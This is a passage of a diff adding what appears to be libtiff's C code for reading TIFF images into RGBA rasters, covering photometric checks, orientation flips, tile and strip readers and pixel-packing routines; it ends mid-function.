+	    sprintf(emsg,
+                    "Sorry, can not handle contiguous data with %s=%d, "
+                    "and %s=%d and Bits/Sample=%d",
+                    photoTag, img->photometric,
+                    "Samples/pixel", img->samplesperpixel,
+                    img->bitspersample);
+	    return (0);
+	}
+	break;
+    case PHOTOMETRIC_YCBCR:
+	if (planarconfig != PLANARCONFIG_CONTIG) {
+	    sprintf(emsg, "Sorry, can not handle YCbCr images with %s=%d",
+		"Planarconfiguration", planarconfig);
+	    return (0);
+	}
+	/* It would probably be nice to have a reality check here. */
+	if (planarconfig == PLANARCONFIG_CONTIG)
+	    /* can rely on libjpeg to convert to RGB */
+	    /* XXX should restore current state on exit */
+	    switch (compress) {
+		case COMPRESSION_OJPEG:
+		case COMPRESSION_JPEG:
+		    TIFFSetField(tif, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB);
+		    img->photometric = PHOTOMETRIC_RGB;
+                    break;
+
+                default:
+                    /* do nothing */;
+                    break;
+	    }
+	break;
+    case PHOTOMETRIC_RGB: 
+	if (colorchannels < 3) {
+	    sprintf(emsg, "Sorry, can not handle RGB image with %s=%d",
+		"Color channels", colorchannels);
+	    return (0);
+	}
+	break;
+    case PHOTOMETRIC_SEPARATED: {
+	uint16 inkset;
+	TIFFGetFieldDefaulted(tif, TIFFTAG_INKSET, &inkset);
+	if (inkset != INKSET_CMYK) {
+	    sprintf(emsg, "Sorry, can not handle separated image with %s=%d",
+		"InkSet", inkset);
+	    return (0);
+	}
+	if (img->samplesperpixel < 4) {
+	    sprintf(emsg, "Sorry, can not handle separated image with %s=%d",
+		"Samples/pixel", img->samplesperpixel);
+	    return (0);
+	}
+	break;
+    }
+    case PHOTOMETRIC_LOGL:
+	if (compress != COMPRESSION_SGILOG) {
+	    sprintf(emsg, "Sorry, LogL data must have %s=%d",
+		"Compression", COMPRESSION_SGILOG);
+	    return (0);
+	}
+	TIFFSetField(tif, TIFFTAG_SGILOGDATAFMT, SGILOGDATAFMT_8BIT);
+	img->photometric = PHOTOMETRIC_MINISBLACK;	/* little white lie */
+	img->bitspersample = 8;
+	break;
+    case PHOTOMETRIC_LOGLUV:
+	if (compress != COMPRESSION_SGILOG && compress != COMPRESSION_SGILOG24) {
+	    sprintf(emsg, "Sorry, LogLuv data must have %s=%d or %d",
+		"Compression", COMPRESSION_SGILOG, COMPRESSION_SGILOG24);
+	    return (0);
+	}
+	if (planarconfig != PLANARCONFIG_CONTIG) {
+	    sprintf(emsg, "Sorry, can not handle LogLuv images with %s=%d",
+		"Planarconfiguration", planarconfig);
+	    return (0);
+	}
+	TIFFSetField(tif, TIFFTAG_SGILOGDATAFMT, SGILOGDATAFMT_8BIT);
+	img->photometric = PHOTOMETRIC_RGB;		/* little white lie */
+	img->bitspersample = 8;
+	break;
+    case PHOTOMETRIC_CIELAB:
+	break;
+    default:
+	sprintf(emsg, "Sorry, can not handle image with %s=%d",
+	    photoTag, img->photometric);
+	return (0);
+    }
+    img->Map = NULL;
+    img->BWmap = NULL;
+    img->PALmap = NULL;
+    img->ycbcr = NULL;
+    img->cielab = NULL;
+    TIFFGetField(tif, TIFFTAG_IMAGEWIDTH, &img->width);
+    TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &img->height);
+    TIFFGetFieldDefaulted(tif, TIFFTAG_ORIENTATION, &img->orientation);
+    img->isContig =
+	!(planarconfig == PLANARCONFIG_SEPARATE && colorchannels > 1);
+    if (img->isContig) {
+	img->get = TIFFIsTiled(tif) ? gtTileContig : gtStripContig;
+	if (!pickTileContigCase(img)) {
+		sprintf(emsg, "Sorry, can not handle image");
+		return 0;
+	}
+    } else {
+	img->get = TIFFIsTiled(tif) ? gtTileSeparate : gtStripSeparate;
+	if (!pickTileSeparateCase(img)) {
+		sprintf(emsg, "Sorry, can not handle image");
+		return 0;
+	}
+    }
+    return 1;
+}
+
+int
+TIFFRGBAImageGet(TIFFRGBAImage* img, uint32* raster, uint32 w, uint32 h)
+{
+    if (img->get == NULL) {
+		TIFFErrorExt(img->tif->tif_clientdata, TIFFFileName(img->tif), "No \"get\" routine setup");
+		return (0);
+	}
+	if (img->put.any == NULL) {
+		TIFFErrorExt(img->tif->tif_clientdata, TIFFFileName(img->tif),
+		"No \"put\" routine setupl; probably can not handle image format");
+		return (0);
+    }
+    return (*img->get)(img, raster, w, h);
+}
+
+/*
+ * Read the specified image into an ABGR-format rastertaking in account
+ * specified orientation.
+ */
+int
+TIFFReadRGBAImageOriented(TIFF* tif,
+			  uint32 rwidth, uint32 rheight, uint32* raster,
+			  int orientation, int stop)
+{
+    char emsg[1024] = "";
+    TIFFRGBAImage img;
+    int ok;
+
+	if (TIFFRGBAImageOK(tif, emsg) && TIFFRGBAImageBegin(&img, tif, stop, emsg)) {
+		img.req_orientation = orientation;
+		/* XXX verify rwidth and rheight against width and height */
+		ok = TIFFRGBAImageGet(&img, raster+(rheight-img.height)*rwidth,
+			rwidth, img.height);
+		TIFFRGBAImageEnd(&img);
+	} else {
+		TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), emsg);
+		ok = 0;
+    }
+    return (ok);
+}
+
+/*
+ * Read the specified image into an ABGR-format raster. Use bottom left
+ * origin for raster by default.
+ */
+int
+TIFFReadRGBAImage(TIFF* tif,
+		  uint32 rwidth, uint32 rheight, uint32* raster, int stop)
+{
+	return TIFFReadRGBAImageOriented(tif, rwidth, rheight, raster,
+					 ORIENTATION_BOTLEFT, stop);
+}
+
+static int 
+setorientation(TIFFRGBAImage* img)
+{
+	switch (img->orientation) {
+		case ORIENTATION_TOPLEFT:
+		case ORIENTATION_LEFTTOP:
+			if (img->req_orientation == ORIENTATION_TOPRIGHT ||
+			    img->req_orientation == ORIENTATION_RIGHTTOP)
+				return FLIP_HORIZONTALLY;
+			else if (img->req_orientation == ORIENTATION_BOTRIGHT ||
+			    img->req_orientation == ORIENTATION_RIGHTBOT)
+				return FLIP_HORIZONTALLY | FLIP_VERTICALLY;
+			else if (img->req_orientation == ORIENTATION_BOTLEFT ||
+			    img->req_orientation == ORIENTATION_LEFTBOT)
+				return FLIP_VERTICALLY;
+			else
+				return 0;
+		case ORIENTATION_TOPRIGHT:
+		case ORIENTATION_RIGHTTOP:
+			if (img->req_orientation == ORIENTATION_TOPLEFT ||
+			    img->req_orientation == ORIENTATION_LEFTTOP)
+				return FLIP_HORIZONTALLY;
+			else if (img->req_orientation == ORIENTATION_BOTRIGHT ||
+			    img->req_orientation == ORIENTATION_RIGHTBOT)
+				return FLIP_VERTICALLY;
+			else if (img->req_orientation == ORIENTATION_BOTLEFT ||
+			    img->req_orientation == ORIENTATION_LEFTBOT)
+				return FLIP_HORIZONTALLY | FLIP_VERTICALLY;
+			else
+				return 0;
+		case ORIENTATION_BOTRIGHT:
+		case ORIENTATION_RIGHTBOT:
+			if (img->req_orientation == ORIENTATION_TOPLEFT ||
+			    img->req_orientation == ORIENTATION_LEFTTOP)
+				return FLIP_HORIZONTALLY | FLIP_VERTICALLY;
+			else if (img->req_orientation == ORIENTATION_TOPRIGHT ||
+			    img->req_orientation == ORIENTATION_RIGHTTOP)
+				return FLIP_VERTICALLY;
+			else if (img->req_orientation == ORIENTATION_BOTLEFT ||
+			    img->req_orientation == ORIENTATION_LEFTBOT)
+				return FLIP_HORIZONTALLY;
+			else
+				return 0;
+		case ORIENTATION_BOTLEFT:
+		case ORIENTATION_LEFTBOT:
+			if (img->req_orientation == ORIENTATION_TOPLEFT ||
+			    img->req_orientation == ORIENTATION_LEFTTOP)
+				return FLIP_VERTICALLY;
+			else if (img->req_orientation == ORIENTATION_TOPRIGHT ||
+			    img->req_orientation == ORIENTATION_RIGHTTOP)
+				return FLIP_HORIZONTALLY | FLIP_VERTICALLY;
+			else if (img->req_orientation == ORIENTATION_BOTRIGHT ||
+			    img->req_orientation == ORIENTATION_RIGHTBOT)
+				return FLIP_HORIZONTALLY;
+			else
+				return 0;
+		default:	/* NOTREACHED */
+			return 0;
+	}
+}
+
+/*
+ * Get an tile-organized image that has
+ *	PlanarConfiguration contiguous if SamplesPerPixel > 1
+ * or
+ *	SamplesPerPixel == 1
+ */	
+static int
+gtTileContig(TIFFRGBAImage* img, uint32* raster, uint32 w, uint32 h)
+{
+    TIFF* tif = img->tif;
+    tileContigRoutine put = img->put.contig;
+    uint32 col, row, y, rowstoread;
+    uint32 pos;
+    uint32 tw, th;
+    unsigned char* buf;
+    int32 fromskew, toskew;
+    uint32 nrow;
+    int ret = 1, flip;
+
+    buf = (unsigned char*) _TIFFmalloc(TIFFTileSize(tif));
+    if (buf == 0) {
+		TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), "No space for tile buffer");
+		return (0);
+    }
+    _TIFFmemset(buf, 0, TIFFTileSize(tif));
+    TIFFGetField(tif, TIFFTAG_TILEWIDTH, &tw);
+    TIFFGetField(tif, TIFFTAG_TILELENGTH, &th);
+
+    flip = setorientation(img);
+    if (flip & FLIP_VERTICALLY) {
+	    y = h - 1;
+	    toskew = -(int32)(tw + w);
+    }
+    else {
+	    y = 0;
+	    toskew = -(int32)(tw - w);
+    }
+     
+    for (row = 0; row < h; row += nrow)
+    {
+        rowstoread = th - (row + img->row_offset) % th;
+    	nrow = (row + rowstoread > h ? h - row : rowstoread);
+	for (col = 0; col < w; col += tw) 
+        {
+            if (TIFFReadTile(tif, buf, col+img->col_offset,
+                             row+img->row_offset, 0, 0) < 0 && img->stoponerr)
+            {
+                ret = 0;
+                break;
+            }
+	    
+            pos = ((row+img->row_offset) % th) * TIFFTileRowSize(tif);
+
+    	    if (col + tw > w) 
+            {
+                /*
+                 * Tile is clipped horizontally.  Calculate
+                 * visible portion and skewing factors.
+                 */
+                uint32 npix = w - col;
+                fromskew = tw - npix;
+                (*put)(img, raster+y*w+col, col, y,
+                       npix, nrow, fromskew, toskew + fromskew, buf + pos);
+            }
+            else 
+            {
+                (*put)(img, raster+y*w+col, col, y, tw, nrow, 0, toskew, buf + pos);
+            }
+        }
+
+        y += (flip & FLIP_VERTICALLY ? -(int32) nrow : (int32) nrow);
+    }
+    _TIFFfree(buf);
+
+    if (flip & FLIP_HORIZONTALLY) {
+	    uint32 line;
+
+	    for (line = 0; line < h; line++) {
+		    uint32 *left = raster + (line * w);
+		    uint32 *right = left + w - 1;
+		    
+		    while ( left < right ) {
+			    uint32 temp = *left;
+			    *left = *right;
+			    *right = temp;
+			    left++, right--;
+		    }
+	    }
+    }
+
+    return (ret);
+}
+
+/*
+ * Get an tile-organized image that has
+ *	 SamplesPerPixel > 1
+ *	 PlanarConfiguration separated
+ * We assume that all such images are RGB.
+ */	
+static int
+gtTileSeparate(TIFFRGBAImage* img, uint32* raster, uint32 w, uint32 h)
+{
+    TIFF* tif = img->tif;
+    tileSeparateRoutine put = img->put.separate;
+    uint32 col, row, y, rowstoread;
+    uint32 pos;
+    uint32 tw, th;
+    unsigned char* buf;
+    unsigned char* r;
+    unsigned char* g;
+    unsigned char* b;
+    unsigned char* a;
+    tsize_t tilesize;
+    int32 fromskew, toskew;
+    int alpha = img->alpha;
+    uint32 nrow;
+    int ret = 1, flip;
+
+    tilesize = TIFFTileSize(tif);
+    buf = (unsigned char*) _TIFFmalloc(4*tilesize);
+    if (buf == 0) {
+		TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), "No space for tile buffer");
+		return (0);
+    }
+    _TIFFmemset(buf, 0, 4*tilesize);
+    r = buf;
+    g = r + tilesize;
+    b = g + tilesize;
+    a = b + tilesize;
+    if (!alpha)
+	_TIFFmemset(a, 0xff, tilesize);
+    TIFFGetField(tif, TIFFTAG_TILEWIDTH, &tw);
+    TIFFGetField(tif, TIFFTAG_TILELENGTH, &th);
+
+    flip = setorientation(img);
+    if (flip & FLIP_VERTICALLY) {
+	    y = h - 1;
+	    toskew = -(int32)(tw + w);
+    }
+    else {
+	    y = 0;
+	    toskew = -(int32)(tw - w);
+    }
+
+    for (row = 0; row < h; row += nrow) 
+    {
+        rowstoread = th - (row + img->row_offset) % th;
+    	nrow = (row + rowstoread > h ? h - row : rowstoread);
+        for (col = 0; col < w; col += tw) 
+        {
+            if (TIFFReadTile(tif, r, col+img->col_offset,
+                             row+img->row_offset,0,0) < 0 && img->stoponerr)
+            {
+                ret = 0;
+                break;
+            }
+            if (TIFFReadTile(tif, g, col+img->col_offset,
+                             row+img->row_offset,0,1) < 0 && img->stoponerr)
+            {
+                ret = 0;
+                break;
+            }
+            if (TIFFReadTile(tif, b, col+img->col_offset,
+                             row+img->row_offset,0,2) < 0 && img->stoponerr)
+            {
+                ret = 0;
+                break;
+            }
+            if (alpha && TIFFReadTile(tif,a,col+img->col_offset,
+                                      row+img->row_offset,0,3) < 0 && img->stoponerr)
+            {
+                ret = 0;
+                break;
+            }
+
+            pos = ((row+img->row_offset) % th) * TIFFTileRowSize(tif);
+
+            if (col + tw > w) 
+            {
+                /*
+                 * Tile is clipped horizontally.  Calculate
+                 * visible portion and skewing factors.
+                 */
+                uint32 npix = w - col;
+                fromskew = tw - npix;
+                (*put)(img, raster+y*w+col, col, y,
+                       npix, nrow, fromskew, toskew + fromskew, 
+                       r + pos, g + pos, b + pos, a + pos);
+            } else {
+                (*put)(img, raster+y*w+col, col, y,
+                       tw, nrow, 0, toskew, r + pos, g + pos, b + pos, a + pos);
+            }
+        }
+
+        y += (flip & FLIP_VERTICALLY ?-(int32) nrow : (int32) nrow);
+    }
+
+    if (flip & FLIP_HORIZONTALLY) {
+	    uint32 line;
+
+	    for (line = 0; line < h; line++) {
+		    uint32 *left = raster + (line * w);
+		    uint32 *right = left + w - 1;
+		    
+		    while ( left < right ) {
+			    uint32 temp = *left;
+			    *left = *right;
+			    *right = temp;
+			    left++, right--;
+		    }
+	    }
+    }
+
+    _TIFFfree(buf);
+    return (ret);
+}
+
+/*
+ * Get a strip-organized image that has
+ *	PlanarConfiguration contiguous if SamplesPerPixel > 1
+ * or
+ *	SamplesPerPixel == 1
+ */	
+static int
+gtStripContig(TIFFRGBAImage* img, uint32* raster, uint32 w, uint32 h)
+{
+    TIFF* tif = img->tif;
+    tileContigRoutine put = img->put.contig;
+    uint32 row, y, nrow, rowstoread;
+    uint32 pos;
+    unsigned char* buf;
+    uint32 rowsperstrip;
+    uint32 imagewidth = img->width;
+    tsize_t scanline;
+    int32 fromskew, toskew;
+    int ret = 1, flip;
+
+    buf = (unsigned char*) _TIFFmalloc(TIFFStripSize(tif));
+    if (buf == 0) {
+		TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), "No space for strip buffer");
+		return (0);
+    }
+    _TIFFmemset(buf, 0, TIFFStripSize(tif));
+
+    flip = setorientation(img);
+    if (flip & FLIP_VERTICALLY) {
+	    y = h - 1;
+	    toskew = -(int32)(w + w);
+    } else {
+	    y = 0;
+	    toskew = -(int32)(w - w);
+    }
+
+    TIFFGetFieldDefaulted(tif, TIFFTAG_ROWSPERSTRIP, &rowsperstrip);
+    scanline = TIFFScanlineSize(tif);
+    fromskew = (w < imagewidth ? imagewidth - w : 0);
+    for (row = 0; row < h; row += nrow) 
+    {
+        rowstoread = rowsperstrip - (row + img->row_offset) % rowsperstrip;
+        nrow = (row + rowstoread > h ? h - row : rowstoread);
+        if (TIFFReadEncodedStrip(tif,
+                                 TIFFComputeStrip(tif,row+img->row_offset, 0),
+                                 buf, 
+                                 ((row + img->row_offset)%rowsperstrip + nrow) * scanline) < 0
+            && img->stoponerr)
+        {
+            ret = 0;
+            break;
+        }
+
+        pos = ((row + img->row_offset) % rowsperstrip) * scanline;
+        (*put)(img, raster+y*w, 0, y, w, nrow, fromskew, toskew, buf + pos);
+        y += (flip & FLIP_VERTICALLY ? -(int32) nrow : (int32) nrow);
+    }
+
+    if (flip & FLIP_HORIZONTALLY) {
+	    uint32 line;
+
+	    for (line = 0; line < h; line++) {
+		    uint32 *left = raster + (line * w);
+		    uint32 *right = left + w - 1;
+		    
+		    while ( left < right ) {
+			    uint32 temp = *left;
+			    *left = *right;
+			    *right = temp;
+			    left++, right--;
+		    }
+	    }
+    }
+
+    _TIFFfree(buf);
+    return (ret);
+}
+
+/*
+ * Get a strip-organized image with
+ *	 SamplesPerPixel > 1
+ *	 PlanarConfiguration separated
+ * We assume that all such images are RGB.
+ */
+static int
+gtStripSeparate(TIFFRGBAImage* img, uint32* raster, uint32 w, uint32 h)
+{
+    TIFF* tif = img->tif;
+    tileSeparateRoutine put = img->put.separate;
+    unsigned char *buf;
+    unsigned char *r, *g, *b, *a;
+    uint32 row, y, nrow, rowstoread;
+    uint32 pos;
+    tsize_t scanline;
+    uint32 rowsperstrip, offset_row;
+    uint32 imagewidth = img->width;
+    tsize_t stripsize;
+    int32 fromskew, toskew;
+    int alpha = img->alpha;
+    int	ret = 1, flip;
+
+    stripsize = TIFFStripSize(tif);
+    r = buf = (unsigned char *)_TIFFmalloc(4*stripsize);
+    if (buf == 0) {
+		TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), "No space for tile buffer");
+		return (0);
+    }
+    _TIFFmemset(buf, 0, 4*stripsize);
+    g = r + stripsize;
+    b = g + stripsize;
+    a = b + stripsize;
+    if (!alpha)
+	_TIFFmemset(a, 0xff, stripsize);
+
+    flip = setorientation(img);
+    if (flip & FLIP_VERTICALLY) {
+	    y = h - 1;
+	    toskew = -(int32)(w + w);
+    }
+    else {
+	    y = 0;
+	    toskew = -(int32)(w - w);
+    }
+
+    TIFFGetFieldDefaulted(tif, TIFFTAG_ROWSPERSTRIP, &rowsperstrip);
+    scanline = TIFFScanlineSize(tif);
+    fromskew = (w < imagewidth ? imagewidth - w : 0);
+    for (row = 0; row < h; row += nrow) 
+    {
+        rowstoread = rowsperstrip - (row + img->row_offset) % rowsperstrip;    	
+        nrow = (row + rowstoread > h ? h - row : rowstoread);
+        offset_row = row + img->row_offset;
+    	if (TIFFReadEncodedStrip(tif, TIFFComputeStrip(tif, offset_row, 0),
+                                 r, ((row + img->row_offset)%rowsperstrip + nrow) * scanline) < 0 
+            && img->stoponerr)
+        {
+            ret = 0;
+            break;
+        }
+        if (TIFFReadEncodedStrip(tif, TIFFComputeStrip(tif, offset_row, 1),
+                                 g, ((row + img->row_offset)%rowsperstrip + nrow) * scanline) < 0 
+            && img->stoponerr)
+        {
+            ret = 0;
+            break;
+        }
+        if (TIFFReadEncodedStrip(tif, TIFFComputeStrip(tif, offset_row, 2),
+                                 b, ((row + img->row_offset)%rowsperstrip + nrow) * scanline) < 0 
+            && img->stoponerr)
+        {
+            ret = 0;
+            break;
+        }
+        if (alpha &&
+            (TIFFReadEncodedStrip(tif, TIFFComputeStrip(tif, offset_row, 3),
+                                  a, ((row + img->row_offset)%rowsperstrip + nrow) * scanline) < 0 
+             && img->stoponerr))
+        {
+            ret = 0;
+            break;
+        }
+
+        pos = ((row + img->row_offset) % rowsperstrip) * scanline;
+        (*put)(img, raster+y*w, 0, y, w, nrow, fromskew, toskew, r + pos, g + pos, 
+               b + pos, a + pos);
+        y += (flip & FLIP_VERTICALLY ? -(int32) nrow : (int32) nrow);
+    }
+
+    if (flip & FLIP_HORIZONTALLY) {
+	    uint32 line;
+
+	    for (line = 0; line < h; line++) {
+		    uint32 *left = raster + (line * w);
+		    uint32 *right = left + w - 1;
+		    
+		    while ( left < right ) {
+			    uint32 temp = *left;
+			    *left = *right;
+			    *right = temp;
+			    left++, right--;
+		    }
+	    }
+    }
+
+    _TIFFfree(buf);
+    return (ret);
+}
+
+/*
+ * The following routines move decoded data returned
+ * from the TIFF library into rasters filled with packed
+ * ABGR pixels (i.e. suitable for passing to lrecwrite.)
+ *
+ * The routines have been created according to the most
+ * important cases and optimized.  pickTileContigCase and
+ * pickTileSeparateCase analyze the parameters and select
+ * the appropriate "put" routine to use.
+ */
+#define	REPEAT8(op)	REPEAT4(op); REPEAT4(op)
+#define	REPEAT4(op)	REPEAT2(op); REPEAT2(op)
+#define	REPEAT2(op)	op; op
+#define	CASE8(x,op)			\
+    switch (x) {			\
+    case 7: op; case 6: op; case 5: op;	\
+    case 4: op; case 3: op; case 2: op;	\
+    case 1: op;				\
+    }
+#define	CASE4(x,op)	switch (x) { case 3: op; case 2: op; case 1: op; }
+#define	NOP
+
+#define	UNROLL8(w, op1, op2) {		\
+    uint32 _x;				\
+    for (_x = w; _x >= 8; _x -= 8) {	\
+	op1;				\
+	REPEAT8(op2);			\
+    }					\
+    if (_x > 0) {			\
+	op1;				\
+	CASE8(_x,op2);			\
+    }					\
+}
+#define	UNROLL4(w, op1, op2) {		\
+    uint32 _x;				\
+    for (_x = w; _x >= 4; _x -= 4) {	\
+	op1;				\
+	REPEAT4(op2);			\
+    }					\
+    if (_x > 0) {			\
+	op1;				\
+	CASE4(_x,op2);			\
+    }					\
+}
+#define	UNROLL2(w, op1, op2) {		\
+    uint32 _x;				\
+    for (_x = w; _x >= 2; _x -= 2) {	\
+	op1;				\
+	REPEAT2(op2);			\
+    }					\
+    if (_x) {				\
+	op1;				\
+	op2;				\
+    }					\
+}
+    
+#define	SKEW(r,g,b,skew)	{ r += skew; g += skew; b += skew; }
+#define	SKEW4(r,g,b,a,skew)	{ r += skew; g += skew; b += skew; a+= skew; }
+
+#define A1 (((uint32)0xffL)<<24)
+#define	PACK(r,g,b)	\
+	((uint32)(r)|((uint32)(g)<<8)|((uint32)(b)<<16)|A1)
+#define	PACK4(r,g,b,a)	\
+	((uint32)(r)|((uint32)(g)<<8)|((uint32)(b)<<16)|((uint32)(a)<<24))
+#define W2B(v) (((v)>>8)&0xff)
+#define	PACKW(r,g,b)	\
+	((uint32)W2B(r)|((uint32)W2B(g)<<8)|((uint32)W2B(b)<<16)|A1)
+#define	PACKW4(r,g,b,a)	\
+	((uint32)W2B(r)|((uint32)W2B(g)<<8)|((uint32)W2B(b)<<16)|((uint32)W2B(a)<<24))
+
+#define	DECLAREContigPutFunc(name) \
+static void name(\
+    TIFFRGBAImage* img, \
+    uint32* cp, \
+    uint32 x, uint32 y, \
+    uint32 w, uint32 h, \
+    int32 fromskew, int32 toskew, \
+    unsigned char* pp \
+)
+
+/*
+ * 8-bit palette => colormap/RGB
+ */
+DECLAREContigPutFunc(put8bitcmaptile)
+{
+    uint32** PALmap = img->PALmap;
+    int samplesperpixel = img->samplesperpixel;
+
+    (void) y;
+    while (h-- > 0) {
+	for (x = w; x-- > 0;)
+        {
+	    *cp++ = PALmap[*pp][0];
+            pp += samplesperpixel;
+        }
+	cp += toskew;
+	pp += fromskew;
+    }
+}
+
+/*
+ * 4-bit palette => colormap/RGB
+ */
+DECLAREContigPutFunc(put4bitcmaptile)
+{
+    uint32** PALmap = img->PALmap;
+
+    (void) x; (void) y;
+    fromskew /= 2;
+    while (h-- > 0) {
+	uint32* bw;
+	UNROLL2(w, bw = PALmap[*pp++], *cp++ = *bw++);
+	cp += toskew;
+	pp += fromskew;
+    }
+}
+
+/*
+ * 2-bit palette => colormap/RGB
+ */
+DECLAREContigPutFunc(put2bitcmaptile)
+{
+    uint32** PALmap = img->PALmap;
+
+    (void) x; (void) y;
+    fromskew /= 4;
+    while (h-- > 0) {
+	uint32* bw;
+	UNROLL4(w, bw = PALmap[*pp++], *cp++ = *bw++);
+	cp += toskew;
+	pp += fromskew;
+    }
+}
+
+/*
+ * 1-bit palette => colormap/RGB
+ */
+DECLAREContigPutFunc(put1bitcmaptile)
+{
+    uint32** PALmap = img->PALmap;
+
+    (void) x; (void) y;
+    fromskew /= 8;
+    while (h-- > 0) {
+	uint32* bw;
+	UNROLL8(w, bw = PALmap[*pp++], *cp++ = *bw++);
+	cp += toskew;
+	pp += fromskew;
+    }
+}
+
+/*
+ * 8-bit greyscale => colormap/RGB
+ */
+DECLAREContigPutFunc(putgreytile)
+{
+    int samplesperpixel = img->samplesperpixel;
+    uint32** BWmap = img->BWmap;
+
+    (void) y;
+    while (h-- > 0) {
+	for (x = w; x-- > 0;)
+        {
+	    *cp++ = BWmap[*pp][0];
+            pp += samplesperpixel;
+        }
+	cp += toskew;
+	pp += fromskew;
+    }
+}
+
+/*
+ * 16-bit greyscale => colormap/RGB
+ */
+DECLAREContigPutFunc(put16bitbwtile)
+{
+    int samplesperpixel = img->samplesperpixel;
+    uint32** BWmap = img->BWmap;
+
+    (void) y;
+    while (h-- > 0) {
+        uint16 *wp = (uint16 *) pp;
+
+	for (x = w; x-- > 0;)
+        {
+            /* use high order byte of 16bit value */
+
+	    *cp++ = BWmap[*wp >> 8][0];
+            pp += 2 * samplesperpixel;
+            wp += samplesperpixel;
+        }
+	cp += toskew;
+	pp += fromskew;
+    }
+}
+
+/*
+ * 1-bit bilevel => colormap/RGB
+ */
+DECLAREContigPutFunc(put1bitbwtile)
+{
+    uint32** BWmap = img->BWmap;
+
+    (void) x; (void) y;
+    fromskew /= 8;
+    while (h-- > 0) {
+	uint32* bw;
+	UNROLL8(w, bw = BWmap[*pp++], *cp++ = *bw++);
+	cp += toskew;
+	pp += fromskew;
+    }
+}
+
+/*
+ * 2-bit greyscale => colormap/RGB
+ */
+DECLAREContigPutFunc(put2bitbwtile)
+{
+    uint32** BWmap = img->BWmap;
+
+    (void) x; (void) y;
+    fromskew /= 4;
+    while (h-- > 0) {
+	uint32* bw;
+	UNROLL4(w, bw = BWmap[*pp++], *cp++ = *bw++);
+	cp += toskew;
+	pp += fromskew;
+    }
+}
+
+/*
+ * 4-bit greyscale => colormap/RGB
+ */
+DECLAREContigPutFunc(put4bitbwtile)
+{
+    uint32** BWmap = img->BWmap;
+
+    (void) x; (void) y;
+    fromskew /= 2;
+    while (h-- > 0) {
+	uint32* bw;
+	UNROLL2(w, bw = BWmap[*pp++], *cp++ = *bw++);
+	cp += toskew;
+	pp += fromskew;
+    }
+}
+
+/*
+ * 8-bit packed samples, no Map => RGB
+ */
+DECLAREContigPutFunc(putRGBcontig8bittile)
+{
+    int samplesperpixel = img->samplesperpixel;
+
+    (void) x; (void) y;
+    fromskew *= samplesperpixel;
+    while (h-- > 0) {
+	UNROLL8(w, NOP,
+	    *cp++ = PACK(pp[0], pp[1], pp[2]);
+	    pp += samplesperpixel);
+	cp += toskew;
+	pp += fromskew;
+    }
+}
+
+/*
+ * 8-bit packed samples, w/ Map => RGB
+ */
+DECLAREContigPutFunc(putRGBcontig8bitMaptile)
+{
+    TIFFRGBValue* Map = img->Map;
+    int samplesperpixel = img->samplesperpixel;
+
+    (void) y;
+    fromskew *= samplesperpixel;
+    while (h-- > 0) {
+	for (x = w; x-- > 0;) {
+	    *cp++ = PACK(Map[pp[0]], Map[pp[1]], Map[pp[2]]);
+	    pp += samplesperpixel;
+	}
+	pp += fromskew;
+	cp += toskew;
+    }
+}
+
+/*
+ * 8-bit packed samples => RGBA w/ associated alpha
+ * (known to have Map == NULL)
+ */
+DECLAREContigPutFunc(putRGBAAcontig8bittile)
+{
+    int samplesperpixel = img->samplesperpixel;
+
+    (void) x; (void) y;
+    fromskew *= samplesperpixel;
+    while (h-- > 0) {
+	UNROLL8(w, NOP,
+	    *cp++ = PACK4(pp[0], pp[1], pp[2], pp[3]);
+	    pp += samplesperpixel);
+	cp += toskew;
+	pp += fromskew;
+    }
+}
+
+/*
+ * 8-bit packed samples => RGBA w/ unassociated alpha
+ * (known to have Map == NULL)
+ */
+DECLAREContigPutFunc(putRGBUAcontig8bittile)
+{
+    int samplesperpixel = img->samplesperpixel;
+
+    (void) y;
+    fromskew *= samplesperpixel;
+    while (h-- > 0) {
+	uint32 r, g, b, a;
+	for (x = w; x-- > 0;) {
+	    a = pp[3];
+	    r = (pp[0] * a) / 255;
+	    g = (pp[1] * a) / 255;
+	    b = (pp[2] * a) / 255;
+	    *cp++ = PACK4(r,g,b,a);
+	    pp += samplesperpixel;
+	}
+	cp += toskew;
+	pp += fromskew;
+    }
+}
+
+/*
+ * 16-bit packed samples => RGB
+ */
+DECLAREContigPutFunc(putRGBcontig16bittile)
+{
+    int samplesperpixel = img->samplesperpixel;
+    uint16 *wp = (uint16 *)pp;
+
+    (void) y;
+    fromskew *= samplesperpixel;
+    while (h-- > 0) {
+	for (x = w; x-- > 0;) {
+	    *cp++ = PACKW(wp[0], wp[1], wp[2]);
+	    wp += samplesperpixel;
+	}
+	cp += toskew;
+	wp += fromskew;
+    }
+}
+
+/*
+ * 16-bit packed samples => RGBA w/ associated alpha
+ * (known to have Map == NULL)
+ */
+DECLAREContigPutFunc(putRGBAAcontig16bittile)
+{
+    int samplesperpixel = img->samplesperpixel;
+    uint16 *wp = (uint16 *)pp;
+
+    (void) y;
+    fromskew *= samplesperpixel;
+    while (h-- > 0) {
+	for (x = w; x-- > 0;) {
+	    *cp++ = PACKW4(wp[0], wp[1], wp[2], wp[3]);
+	    wp += samplesperpixel;
+	}
+	cp += toskew;
+	wp += fromskew;
+    }
+}
+
+/*
+ * 16-bit packed samples => RGBA w/ unassociated alpha
+ * (known to have Map == NULL)
+ */
+DECLAREContigPutFunc(putRGBUAcontig16bittile)
+{
+    int samplesperpixel = img->samplesperpixel;
+    uint16 *wp = (uint16 *)pp;
+
+    (void) y;
+    fromskew *= samplesperpixel;
+    while (h-- > 0) {
+	uint32 r,g,b,a;
+	/*
+	 * We shift alpha down four bits just in case unsigned
+	 * arithmetic doesn't handle the full range.
+	 * We still have plenty of accuracy, since the output is 8 bits.
+	 * So we have (r * 0xffff) * (a * 0xfff)) = r*a * (0xffff*0xfff)
+	 * Since we want r*a * 0xff for eight bit output,
+	 * we divide by (0xffff * 0xfff) / 0xff == 0x10eff.
+	 */
+	for (x = w; x-- > 0;) {
+	    a = wp[3] >> 4; 
+	    r = (wp[0] * a) / 0x10eff;
+	    g = (wp[1] * a) / 0x10eff;
+	    b = (wp[2] * a) / 0x10eff;
+	    *cp++ = PACK4(r,g,b,a);
+	    wp += samplesperpixel;
+	}
